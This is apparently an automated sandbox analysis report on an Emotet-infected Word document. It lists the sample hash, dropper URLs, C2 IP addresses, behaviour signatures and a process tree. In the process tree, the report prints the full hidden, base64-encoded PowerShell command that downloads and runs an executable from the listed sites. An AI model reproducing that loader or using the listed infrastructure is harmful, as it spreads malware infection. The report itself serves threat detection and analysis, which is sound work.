Analysis

  • max time kernel
    27s
  • resource
    win10v191014
  • submitted
    17-12-2019 22:34

General

  • Target

    08b709f398ab7ea30a222547a53b8ba3d83227df8d1b710f305c7c9ef5242bc6

  • Sample

    191217-v5t8dpa2ta

  • SHA256

    08b709f398ab7ea30a222547a53b8ba3d83227df8d1b710f305c7c9ef5242bc6

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://amstaffrecords.com/individualApi/0/

exe.dropper

http://foozoop.com/wp-content/Qxi7iVD/

exe.dropper

http://7arasport.com/validatefield/gj/

exe.dropper

http://dev2.ektonendon.gr/cgi-bin/mTTCFmVe/

exe.dropper

https://diagnostica-products.com/wp-admin/hio2u7w/

Extracted

Family

emotet

C2

173.247.19.238:80

174.81.132.128:80

211.44.35.111:80

165.227.156.155:443

167.99.105.223:7080

67.225.179.64:8080

176.31.200.130:8080

104.131.11.150:8080

68.118.26.116:80

190.226.44.20:21

120.150.246.241:80

92.222.216.44:8080

73.214.99.25:80

110.142.38.16:80

24.93.212.32:80

190.53.135.159:21

66.209.97.122:8080

173.91.11.142:80

100.14.117.137:80

2.237.76.249:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\08b709f398ab7ea30a222547a53b8ba3d83227df8d1b710f305c7c9ef5242bc6.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4964
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABOAHAAegBmAHIAbgB6AGIAcgB0AGkAdQBtAD0AJwBWAGYAZgB1AHcAeQBoAHkAaQBnAGkAeQBxACcAOwAkAEUAcwB4AHQAeQBkAGoAcABrACAAPQAgACcAOAA3ADMAJwA7ACQAWQBsAG4AagBxAHMAcwBjAG0AcABtAD0AJwBXAHkAbABxAGEAaQBkAGsAcQBhACcAOwAkAEkAbQB4AGYAcgB4AHQAYQBwAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAcwB4AHQAeQBkAGoAcABrACsAJwAuAGUAeABlACcAOwAkAFIAcgB5AGkAcABqAGYAaABkAD0AJwBZAHQAaQBkAG4AYwBpAGcAbABlACcAOwAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0APQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQBUAC4AVwBFAEIAYwBMAEkAZQBOAFQAOwAkAEcAcABjAGsAeQBzAGMAeQBhAGUAbgBkAHoAPQAnAGgAdAB0AHAAOgAvAC8AYQBtAHMAdABhAGYAZgByAGUAYwBvAHIAZABzAC4AYwBvAG0ALwBpAG4AZABpAHYAaQBkAHUAYQBsAEEAcABpAC8AMAAvACoAaAB0AHQAcAA6AC8ALwBmAG8AbwB6AG8AbwBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUQB4AGkANwBpAFYARAAvACoAaAB0AHQAcAA6AC8ALwA3AGEAcgBhAHMAcABvAHIAdAAuAGMAbwBtAC8AdgBhAGwAaQBkAGEAdABlAGYAaQBlAGwAZAAvAGcAagAvACoAaAB0AHQAcAA6AC8ALwBkAGUAdgAyAC4AZQBrAHQAbwBuAGUAbgBkAG8AbgAuAGcAcgAvAGMAZwBpAC0AYgBpAG4ALwBtAFQAVABDAEYAbQBWAGUALwAqAGgAdAB0AHAAcwA6AC8ALwBkAGkAYQBnAG4AbwBzAHQAaQBjAGEALQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGgAaQBvADIAdQA3AHcALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAJwAqACcAKQA7ACQASQB4AGkAcQBvAGcAZgBpAGsAbQA9ACcAQgB0AHQAeABnAGgAdgBpAG4AbwBtAHcAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBiAGMAbgB6AGcAcwBwAGEAdAAgAGkAbgAgACQARwBwAGMAawB5AHMAYwB5AGEAZQBuAGQAegApAHsAdAByAHkAewAkAFUAdwB1AGQAcgBtAG8AZwBqAGwAbwBzAG0ALgAiAEQATwBXAGAATgBMAE8AYABBAEQAYABGAEkAbABFACIAKAAkAE0AYgBjAG4AegBnAHMAcABhAHQALAAgACQASQBtAHgAZgByAHgAdABhAHAAbwApADsAJABIAGgAdABvAGIAZgBmAHAAbABnAHMAPQAnAFgAYQB5AG0AcABpAGMAdQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAbQB4AGYAcgB4AHQAYQBwAG8AKQAuACIAbABgAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAxADYAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAdAAiACgAJABJAG0AeABmAHIAeAB0AGEAcABvACkAOwAkAEUAaQBkAHkAdABrAGwAeQA9ACcAWQBiAHEAeABjAHUAdgBkAGkAcQBuACcAOwBiAHIAZQBhAGsAOwAkAEwAbQBxAGEAaABqAGMAdwB5AHcAdABrAD0AJwBHAHcAYQB1AHUAaABsAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBuAG8AZwBxAGIAdQBtAG8APQAnAEwAZABrAGUAbwBnAHMAYQBmAHgAbgBqACcA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    PID:4628
    • C:\Users\Admin\873.exe
      "C:\Users\Admin\873.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:3680
      • C:\Users\Admin\873.exe
        --30b98952
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        PID:4184

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/3680-11-0x00000000021C0000-0x00000000021D7000-memory.dmp

    Filesize

    92KB

  • memory/4184-13-0x0000000002170000-0x0000000002187000-memory.dmp

    Filesize

    92KB

  • memory/4184-14-0x0000000000400000-0x0000000000454000-memory.dmp

    Filesize

    336KB

  • memory/4964-2-0x0000021E54974000-0x0000021E54977000-memory.dmp

    Filesize

    12KB